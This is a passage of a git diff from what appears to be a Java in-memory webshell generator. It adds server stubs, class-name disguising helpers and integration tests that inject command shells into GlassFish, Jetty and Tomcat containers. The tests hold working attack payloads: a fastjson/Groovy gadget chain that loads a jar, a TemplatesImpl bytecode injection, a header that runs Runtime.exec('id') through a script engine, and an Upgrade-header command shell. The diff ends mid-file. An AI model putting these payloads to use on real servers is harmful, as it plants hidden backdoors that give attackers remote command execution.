a/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java b/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java index 44349bd4..98e49f11 100644 --- a/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java +++ b/generator/src/main/java/com/reajason/javaweb/utils/CommonUtil.java @@ -1,8 +1,9 @@ package com.reajason.javaweb.utils; +import lombok.SneakyThrows; + import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; -import java.io.IOException; import java.security.SecureRandom; import java.util.Arrays; import java.util.HashSet; @@ -45,7 +46,8 @@ public class CommonUtil { "Checker" }; - public static byte[] gzipCompress(byte[] data) throws IOException { + @SneakyThrows + public static byte[] gzipCompress(byte[] data) { ByteArrayOutputStream out = new ByteArrayOutputStream(); try (GZIPOutputStream gzip = new GZIPOutputStream(out)) { gzip.write(data); @@ -53,7 +55,8 @@ public static byte[] gzipCompress(byte[] data) throws IOException { return out.toByteArray(); } - public static byte[] gzipDecompress(byte[] data) throws IOException { + @SneakyThrows + public static byte[] gzipDecompress(byte[] data) { ByteArrayOutputStream out = new ByteArrayOutputStream(); try (GZIPInputStream gzip = new GZIPInputStream(new ByteArrayInputStream(data))) { byte[] buffer = new byte[1024]; @@ -101,6 +104,13 @@ public static String generateInjectorClassName() { return getRandomPackageName() + "." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)]; } + public static String appendLambdaSuffix(String className) { + if (className.contains("$Lambda$")) { + return className; + } + return className + "$Proxy0$$Lambda$1"; + } + public static String generateShellClassName(String server, String shellType) { String packageName; switch (server) { @@ -136,4 +146,8 @@ public static String generateShellClassName(String server, String shellType) { + "." + getRandomString(5) + "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType; } + + public static String getSimpleName(String injectorClassName) { + return injectorClassName.substring(injectorClassName.lastIndexOf(".") + 1); + } } \ No newline at end of file diff --git a/generator/src/main/java/org/apache/catalina/connector/Request.java b/generator/src/main/java/org/apache/catalina/connector/Request.java index 6ab0bdc8..9e0bef4f 100644 --- a/generator/src/main/java/org/apache/catalina/connector/Request.java +++ b/generator/src/main/java/org/apache/catalina/connector/Request.java @@ -342,4 +342,8 @@ public AsyncContext getAsyncContext() { public DispatcherType getDispatcherType() { return null; } + + public Response getResponse() { + return null; + } } diff --git a/generator/src/main/java/org/apache/coyote/Adapter.java b/generator/src/main/java/org/apache/coyote/Adapter.java new file mode 100644 index 00000000..9954623a --- /dev/null +++ b/generator/src/main/java/org/apache/coyote/Adapter.java @@ -0,0 +1,8 @@ +package org.apache.coyote; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public interface Adapter { +} diff --git a/generator/src/main/java/org/apache/coyote/Processor.java b/generator/src/main/java/org/apache/coyote/Processor.java new file mode 100644 index 00000000..ad8f45ab --- /dev/null +++ b/generator/src/main/java/org/apache/coyote/Processor.java @@ -0,0 +1,8 @@ +package org.apache.coyote; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public interface Processor { +} diff --git a/generator/src/main/java/org/apache/coyote/Request.java b/generator/src/main/java/org/apache/coyote/Request.java new file mode 100644 index 00000000..27387fd0 --- /dev/null +++ b/generator/src/main/java/org/apache/coyote/Request.java @@ -0,0 +1,11 @@ +package org.apache.coyote; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public class Request { + public Object getNote(int id) { + return null; + } +} diff --git a/generator/src/main/java/org/apache/coyote/UpgradeProtocol.java b/generator/src/main/java/org/apache/coyote/UpgradeProtocol.java new file mode 100644 index 00000000..bb1bfba1 --- /dev/null +++ b/generator/src/main/java/org/apache/coyote/UpgradeProtocol.java @@ -0,0 +1,22 @@ +package org.apache.coyote; + +import org.apache.coyote.http11.upgrade.InternalHttpUpgradeHandler; +import org.apache.tomcat.util.net.SocketWrapperBase; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public interface UpgradeProtocol { + public String getHttpUpgradeName(boolean isSSLEnabled); + + public byte[] getAlpnIdentifier(); + + public String getAlpnName(); + + public Processor getProcessor(SocketWrapperBase socketWrapper, Adapter adapter); + + public InternalHttpUpgradeHandler getInternalUpgradeHandler(Adapter adapter, Request request); + + public boolean accept(Request request); +} diff --git a/generator/src/main/java/org/apache/coyote/http11/upgrade/InternalHttpUpgradeHandler.java b/generator/src/main/java/org/apache/coyote/http11/upgrade/InternalHttpUpgradeHandler.java new file mode 100644 index 00000000..c37068b5 --- /dev/null +++ b/generator/src/main/java/org/apache/coyote/http11/upgrade/InternalHttpUpgradeHandler.java @@ -0,0 +1,8 @@ +package org.apache.coyote.http11.upgrade; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public interface InternalHttpUpgradeHandler { +} diff --git a/generator/src/main/java/org/apache/tomcat/util/net/SocketWrapperBase.java b/generator/src/main/java/org/apache/tomcat/util/net/SocketWrapperBase.java new file mode 100644 index 00000000..b3868a99 --- /dev/null +++ b/generator/src/main/java/org/apache/tomcat/util/net/SocketWrapperBase.java @@ -0,0 +1,8 @@ +package org.apache.tomcat.util.net; + +/** + * @author ReaJason + * @since 2025/12/6 + */ +public class SocketWrapperBase { +} diff --git a/generator/src/main/java/org/eclipse/jetty/server/Connector.java b/generator/src/main/java/org/eclipse/jetty/server/Connector.java new file mode 100644 index 00000000..16996212 --- /dev/null +++ b/generator/src/main/java/org/eclipse/jetty/server/Connector.java @@ -0,0 +1,8 @@ +package org.eclipse.jetty.server; + +/** + * @author ReaJason + * @since 2025/12/2 + */ +public class Connector { +} diff --git a/generator/src/main/java/org/eclipse/jetty/server/Handler.java b/generator/src/main/java/org/eclipse/jetty/server/Handler.java new file mode 100644 index 00000000..ac75372d --- /dev/null +++ b/generator/src/main/java/org/eclipse/jetty/server/Handler.java @@ -0,0 +1,21 @@ +package org.eclipse.jetty.server; + +import org.eclipse.jetty.util.Callback; + +import javax.servlet.ServletException; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/11/29 + */ +public interface Handler { + void handle(String target, Request baseRequest, HttpServletRequest request, HttpServletResponse response) + throws IOException, ServletException; + + boolean handle(Request request, Response response, Callback callback) throws Exception; + + void handle(String target, HttpServletRequest request, HttpServletResponse response, int dispatch) throws IOException, ServletException; +} diff --git a/generator/src/main/java/org/eclipse/jetty/server/HttpConfiguration.java b/generator/src/main/java/org/eclipse/jetty/server/HttpConfiguration.java new file mode 100644 index 00000000..c6b97dcd --- /dev/null +++ b/generator/src/main/java/org/eclipse/jetty/server/HttpConfiguration.java @@ -0,0 +1,11 @@ +package org.eclipse.jetty.server; + +/** + * @author ReaJason + * @since 2025/12/2 + */ +public class HttpConfiguration { + public interface Customizer { + + } +} diff --git a/generator/src/main/java/org/eclipse/jetty/server/Request.java b/generator/src/main/java/org/eclipse/jetty/server/Request.java new file mode 100644 index 00000000..40a79e13 --- /dev/null +++ b/generator/src/main/java/org/eclipse/jetty/server/Request.java @@ -0,0 +1,8 @@ +package org.eclipse.jetty.server; + +/** + * @author ReaJason + * @since 2025/11/29 + */ +public interface Request { +} diff --git a/generator/src/main/java/org/eclipse/jetty/server/Response.java b/generator/src/main/java/org/eclipse/jetty/server/Response.java new file mode 100644 index 00000000..1afa3e12 --- /dev/null +++ b/generator/src/main/java/org/eclipse/jetty/server/Response.java @@ -0,0 +1,8 @@ +package org.eclipse.jetty.server; + +/** + * @author ReaJason + * @since 2025/11/29 + */ +public interface Response { +} diff --git a/generator/src/main/java/org/eclipse/jetty/util/Callback.java b/generator/src/main/java/org/eclipse/jetty/util/Callback.java new file mode 100644 index 00000000..e7dd87a5 --- /dev/null +++ b/generator/src/main/java/org/eclipse/jetty/util/Callback.java @@ -0,0 +1,8 @@ +package org.eclipse.jetty.util; + +/** + * @author ReaJason + * @since 2025/11/29 + */ +public interface Callback { +} diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java index 3112a139..7d773fa9 100644 --- a/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java +++ b/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.memshell.generator; import com.reajason.javaweb.GenerationException; +import com.reajason.javaweb.memshell.generator.processors.ListenerBuilderModifier; import com.reajason.javaweb.memshell.server.Tomcat; import lombok.SneakyThrows; import net.bytebuddy.ByteBuddy; @@ -42,20 +43,20 @@ public static class FakeRequest { @Test void testNoGetResponseFromRequest() { DynamicType.Builder builder = new ByteBuddy().redefine(Object.class); - Assertions.assertThrows(GenerationException.class, () -> ListenerGenerator.build(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(Object.class), "hello.world")); + Assertions.assertThrows(GenerationException.class, () -> ListenerBuilderModifier.modifier(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(Object.class), "hello.world")); } @Test void testGetResponseFromRequestSignatureError() { DynamicType.Builder builder = new ByteBuddy().redefine(J.class); - Assertions.assertThrows(GenerationException.class, () -> ListenerGenerator.build(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(J.class), "hello.world")); + Assertions.assertThrows(GenerationException.class, () -> ListenerBuilderModifier.modifier(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(J.class), "hello.world")); } @Test @SneakyThrows void test() { String className = "hello.world"; - DynamicType.Builder build = ListenerGenerator.build(new ByteBuddy().redefine(L.class).name(className), Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(L.class), className); + DynamicType.Builder build = ListenerBuilderModifier.modifier(new ByteBuddy().redefine(L.class).name(className), Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(L.class), className); Class clazz = build.make().load(getClass().getClassLoader()).getLoaded(); Object obj = clazz.newInstance(); Method getResponseFromRequest = clazz.getDeclaredMethod("getResponseFromRequest", Object.class); diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandJettyHandlerTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandJettyHandlerTest.java new file mode 100644 index 00000000..012c8040 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memshell/tomcat/command/CommandJettyHandlerTest.java @@ -0,0 +1,109 @@ +package com.reajason.javaweb.memshell.tomcat.command; + +import com.reajason.javaweb.GenerationException; +import com.reajason.javaweb.Server; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.memshell.config.CommandConfig; +import com.reajason.javaweb.memshell.config.ShellConfig; +import com.reajason.javaweb.memshell.generator.command.CommandGenerator; +import com.reajason.javaweb.memshell.shelltool.command.CommandJettyHandler; +import net.bytebuddy.jar.asm.ClassReader; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertThrows; + +/** + * @author ReaJason + * @since 2025/12/2 + */ +public class CommandJettyHandlerTest { + @Test + void testJetty6() { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Jetty) + .serverVersion("6") + .shellTool(ShellTool.Command) + .shellType(ShellType.HANDLER) + .debug(true) + .build(); + CommandConfig commandConfig = CommandConfig.builder() + .shellClass(CommandJettyHandler.class) + .shellClassName(CommandJettyHandler.class.getName()) + .paramName("pwd").build(); + CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig); + byte[] bytes = commandGenerator.getBytes(); + assertEquals("org/mortbay/jetty/handler/AbstractHandler", new ClassReader(bytes).getSuperName()); + } + + @Test + void testJetty7Plus() { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Jetty) + .serverVersion("7+") + .shellTool(ShellTool.Command) + .shellType(ShellType.HANDLER) + .debug(true) + .build(); + CommandConfig commandConfig = CommandConfig.builder() + .shellClass(CommandJettyHandler.class) + .shellClassName(CommandJettyHandler.class.getName()) + .paramName("pwd").build(); + CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig); + byte[] bytes = commandGenerator.getBytes(); + assertEquals("org/eclipse/jetty/server/handler/AbstractHandler", new ClassReader(bytes).getSuperName()); + } + + @Test + void testJetty12() { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Jetty) + .serverVersion("12") + .shellTool(ShellTool.Command) + .shellType(ShellType.HANDLER) + .debug(true) + .build(); + CommandConfig commandConfig = CommandConfig.builder() + .shellClass(CommandJettyHandler.class) + .shellClassName(CommandJettyHandler.class.getName()) + .paramName("pwd").build(); + CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig); + byte[] bytes = commandGenerator.getBytes(); + assertEquals("org/eclipse/jetty/server/Handler$Abstract", new ClassReader(bytes).getSuperName()); + } + + @Test + void testJettyException() { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Jetty) + .serverVersion("unknown") + .shellTool(ShellTool.Command) + .shellType(ShellType.HANDLER) + .debug(true) + .build(); + CommandConfig commandConfig = CommandConfig.builder() + .shellClass(CommandJettyHandler.class) + .shellClassName(CommandJettyHandler.class.getName()) + .paramName("pwd").build(); + CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig); + assertThrows(GenerationException.class, commandGenerator::getBytes); + } + + @Test + void testJettyNullException() { + ShellConfig shellConfig = ShellConfig.builder() + .server(Server.Jetty) + .serverVersion(null) + .shellTool(ShellTool.Command) + .shellType(ShellType.HANDLER) + .debug(true) + .build(); + CommandConfig commandConfig = CommandConfig.builder() + .shellClass(CommandJettyHandler.class) + .shellClassName(CommandJettyHandler.class.getName()) + .paramName("pwd").build(); + CommandGenerator commandGenerator = new CommandGenerator(shellConfig, commandConfig); + assertThrows(GenerationException.class, commandGenerator::getBytes); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java index 363bcb37..15fecc88 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ProbeAssertion.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.packer.Packers; import com.reajason.javaweb.probe.ProbeContent; import com.reajason.javaweb.probe.ProbeMethod; import com.reajason.javaweb.probe.ProbeShellGenerator; @@ -38,12 +39,12 @@ public static void responseBytecodeIsOk(String url, String server, int targetJre .build(); ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig); RequestBody requestBody = new FormBody.Builder() - .add("data", probeResult.getShellBytesBase64Str()) + .add("data", Packers.BigInteger.getInstance().pack(probeResult.toClassPackerConfig())) .add(reqParamName, DetectionTool.getServerDetection()) .build(); Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") - .url(url + "/b64").post(requestBody) + .url(url + "/biginteger").post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { assertEquals(server, response.body().string()); @@ -67,12 +68,12 @@ public static void responseBytecodeWithoutPrefixIsOk(String url, String server, .build(); ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig); RequestBody requestBody = new FormBody.Builder() - .add("data", probeResult.getShellBytesBase64Str()) + .add("data", Packers.BigInteger.getInstance().pack(probeResult.toClassPackerConfig())) .add(reqParamName, DetectionTool.getServerDetection().replace("yv66vgAAAD", "")) .build(); Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") - .url(url + "/b64").post(requestBody) + .url(url + "/biginteger").post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { assertEquals(server, response.body().string()); @@ -95,14 +96,13 @@ public static void responseCommandIsOk(String url, String server, int targetJreV .reqParamName(headerName) .build(); ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig); - String content = probeResult.getShellBytesBase64Str(); RequestBody requestBody = new FormBody.Builder() - .add("data", content) + .add("data", Packers.BigInteger.getInstance().pack(probeResult.toClassPackerConfig())) .build(); Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") .header(headerName, "id") - .url(url + "/b64").post(requestBody) + .url(url + "/biginteger").post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { assertThat(response.body().string(), anyOf( @@ -127,14 +127,13 @@ public static void responseScriptEngineIsOk(String url, String server, int targe .reqParamName(headerName) .build(); ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig); - String content = probeResult.getShellBytesBase64Str(); RequestBody requestBody = new FormBody.Builder() - .add("data", content) + .add("data", Packers.BigInteger.getInstance().pack(probeResult.toClassPackerConfig())) .build(); Request request = new Request.Builder() .header("Content-Type", "application/x-www-form-urlencoded") .header(headerName, "new java.util.Scanner(java.lang.Runtime.getRuntime().exec('id').getInputStream()).useDelimiter('\\A').next()") - .url(url + "/b64").post(requestBody) + .url(url + "/biginteger").post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { assertThat(response.body().string(), anyOf( diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java index 69ebd420..b1b417c4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java @@ -6,16 +6,15 @@ import com.reajason.javaweb.godzilla.GodzillaManager; import com.reajason.javaweb.memshell.MemShellGenerator; import com.reajason.javaweb.memshell.MemShellResult; +import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.*; import com.reajason.javaweb.packer.JarPacker; import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.packer.jar.AgentJarPacker; -import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker; -import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker; -import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker; +import com.reajason.javaweb.packer.jar.*; import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker; import com.reajason.javaweb.suo5.Suo5Manager; +import com.reajason.javaweb.utils.CommonUtil; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -27,6 +26,7 @@ import org.apache.commons.lang3.RandomStringUtils; import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.tuple.Pair; +import org.hamcrest.Matchers; import org.testcontainers.containers.Container; import org.testcontainers.containers.GenericContainer; import org.testcontainers.utility.MountableFile; @@ -127,6 +127,28 @@ public static void packerResultAndInject(MemShellResult generateResult, String u " !!java.net.URL [\"file://" + jarPath + "\"]\n" + " ]]\n" + "]"; + } else if (packer.getInstance() instanceof GroovyTransformJarPacker) { + byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig()); + Path tempJar = Files.createTempFile("temp", "jar"); + Files.write(tempJar, bytes); + String jarPath = "/" + shellTool + shellType + packer.name() + ".jar"; + appContainer.copyFileToContainer(MountableFile.forHostPath(tempJar, 0100666), jarPath); + FileUtils.deleteQuietly(tempJar.toFile()); + VulTool.postIsOk(url + "/fastjson", """ + { + "@type":"java.lang.Exception", + "@type":"org.codehaus.groovy.control.CompilationFailedException", + "unit":{ + } + }"""); + content = "{\n" + + " \"@type\":\"org.codehaus.groovy.control.ProcessingUnit\",\n" + + " \"@type\":\"org.codehaus.groovy.tools.javac.JavaStubCompilationUnit\",\n" + + " \"config\":{\n" + + " \"@type\": \"org.codehaus.groovy.control.CompilerConfiguration\",\n" + + " \"classpathList\":\"file://" + jarPath + "\"\n" + + " }\n" + + "}"; } else if (packer.getInstance() instanceof XalanAbstractTransletPacker) { String bytes = packer.getInstance().pack(generateResult.toClassPackerConfig()); content = "[\"org.apache.xalan.xsltc.trax.TemplatesImpl\",{\"transletName\":\"businessObject\",\"transletBytecodes\":[\"" + bytes + "\"],\"outputProperties\":{}}]"; @@ -185,10 +207,26 @@ public static void assertShellIsOk(MemShellResult generateResult, String shellUr godzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig())); break; case Command: - if (shellType.endsWith(ShellType.WEBSOCKET)) { - webSocketCommandIsOk(shellUrl, "id"); + String paramName = ((CommandConfig) generateResult.getShellToolConfig()).getParamName(); + if (ShellType.UPGRADE.equals(shellType)) { + String shellClassName = generateResult.getShellClassName(); + OkHttpClient okHttpClient = new OkHttpClient(); + HttpUrl url = Objects.requireNonNull(HttpUrl.parse(shellUrl)) + .newBuilder() + .addQueryParameter(paramName, "id") + .build(); + Request request = new Request.Builder() + .header("Connection", "Upgrade") + .header("Upgrade", shellClassName) + .url(url) + .get().build(); + try (Response response = okHttpClient.newCall(request).execute()) { + String res = response.body().string(); + System.out.println(res.trim()); + assertTrue(res.contains("uid=")); + } } else { - commandIsOk(shellUrl, ((CommandConfig) generateResult.getShellToolConfig()), "id"); + commandIsOk(shellUrl, shellType, paramName, "id"); } break; case Behinder: @@ -227,11 +265,15 @@ public static void godzillaIsOk(String entrypoint, GodzillaConfig shellConfig) { } @SneakyThrows - public static void commandIsOk(String entrypoint, CommandConfig shellConfig, String payload) { + public static void commandIsOk(String entrypoint, String shellType, String paramName, String payload) { + if (shellType.endsWith(ShellType.WEBSOCKET)) { + webSocketCommandIsOk(entrypoint, payload); + return; + } OkHttpClient okHttpClient = new OkHttpClient(); HttpUrl url = Objects.requireNonNull(HttpUrl.parse(entrypoint)) .newBuilder() - .addQueryParameter(shellConfig.getParamName(), payload) + .addQueryParameter(paramName, payload) .build(); Request request = new Request.Builder() .url(url) @@ -394,13 +436,57 @@ public static void injectIsOk(String url, String shellType, String shellTool, St case HessianDeserialize -> VulTool.postIsOk(url + "/hessian", content); case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content); case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content); + case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content); case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content); case Base64 -> VulTool.postIsOk(url + "/b64", content); case BigInteger -> VulTool.postIsOk(url + "/biginteger", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); - case H2, H2JS, H2Javac -> VulTool.postIsOk(url + "/jdbc", content); + case H2, H2JS, H2Javac, H2JSURLEncode -> VulTool.postIsOk(url + "/jdbc", content); case XalanAbstractTransletPacker -> VulTool.postIsOk(url + "/jackson", content); default -> throw new IllegalStateException("Unexpected value: " + packer); } } + + public static void testProbeInject(String url, String server, String serverVersion, String shellType, int targetJdkVersion) { + String shellTool = ShellTool.Command; + Packers packer = Packers.BigInteger; + Pair urls = ShellAssertion.getUrls(url, shellType, shellTool, packer); + String shellUrl = urls.getLeft(); + String urlPattern = urls.getRight(); + if (urlPattern != null) { + shellUrl += "testProbe"; + urlPattern += "testProbe"; + } + ShellConfig shellConfig = ShellConfig.builder() + .server(server) + .serverVersion(serverVersion) + .shellType(shellType) + .shellTool(shellTool) + .targetJreVersion(targetJdkVersion) + .debug(false) + .probe(true) + .build(); + InjectorConfig injectorConfig = InjectorConfig.builder() + .urlPattern(urlPattern) + .staticInitialize(true) + .build(); + String paramName = "tomcatProbe" + shellType; + CommandConfig commandConfig = CommandConfig.builder() + .paramName(paramName) + .build(); + MemShellResult generateResult = MemShellGenerator.generate(shellConfig, injectorConfig, commandConfig); + String content = packer.getInstance().pack(generateResult.toClassPackerConfig()); + String res = VulTool.postIsOk(url + "/biginteger", content); + assertThat(res, anyOf( + Matchers.containsString("context: "), + Matchers.containsString("server: "), + Matchers.containsString("channel: ") + + )); + ShellAssertion.commandIsOk(shellUrl, shellType, paramName, "id"); + } + + public static void testProbeInject(String url, String server, String shellType, int targetJdkVersion) { + testProbeInject(url, server, null, shellType, targetJdkVersion); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java index 31d9347a..328f5ee1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/VulTool.java @@ -46,7 +46,7 @@ public static void uploadJspFileToServer(String uploadUrl, String filename, Stri } @SneakyThrows - public static void postIsOk(String uploadUrl, String data) { + public static String postIsOk(String uploadUrl, String data) { RequestBody requestBody = new FormBody.Builder() .add("data", data) .build(); @@ -56,8 +56,10 @@ public static void postIsOk(String uploadUrl, String data) { .url(uploadUrl).post(requestBody) .build(); try (Response response = new OkHttpClient().newCall(request).execute()) { - System.out.println(response.body().string()); + String res = response.body().string(); + System.out.println(res); Assertions.assertNotEquals(404, response.code()); + return res; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java index e8b69f44..81d032ca 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish3ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -11,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -47,12 +49,12 @@ public class GlassFish3ContainerTest { .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withNetwork(network) .withNetworkAliases("app") - .waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5))) + .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @BeforeAll static void setup() { - container.waitingFor(Wait.forHttp("/app/")); + container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); } static Stream casesProvider() { @@ -80,4 +82,13 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java index d5946783..aa791320 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish4ContainerTest.java @@ -1,6 +1,7 @@ package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import com.reajason.javaweb.integration.TestCasesProvider; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.packer.Packers; @@ -11,6 +12,7 @@ import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; +import org.junit.jupiter.params.provider.ValueSource; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.Network; import org.testcontainers.containers.wait.strategy.Wait; @@ -18,7 +20,6 @@ import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.time.Duration; import java.util.List; import java.util.stream.Stream; @@ -47,12 +48,12 @@ public class GlassFish4ContainerTest { .withCopyToContainer(glassfishPid, "/fetch_pid.sh") .withNetwork(network) .withNetworkAliases("app") - .waitingFor(Wait.forLogMessage(".*(done|deployed).*", 1).withStartupTimeout(Duration.ofMinutes(5))) + .waitingFor(Wait.forHttp("/app")) .withExposedPorts(8080); @BeforeAll static void setup() { - container.waitingFor(Wait.forHttp("/app/")); + container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1)); } static Stream casesProvider() { @@ -80,4 +81,13 @@ static void tearDown() { void test(String imageName, String shellType, String shellTool, Packers packer) { shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python); } + + @ParameterizedTest + @ValueSource(strings = {ShellType.FILTER, + ShellType.LISTENER, + ShellType.VALVE,}) + void testProbeInject(String shellType) { + String url = getUrl(container); + ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V1_6); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java index 90b2a35c..b6aa1b98 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/glassfish/GlassFish501ContainerTest.java @@ -1,15 +1,18 @@ package com.reajason.javaweb.integration.memshell.glassfish; import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.ShellAssertion; import 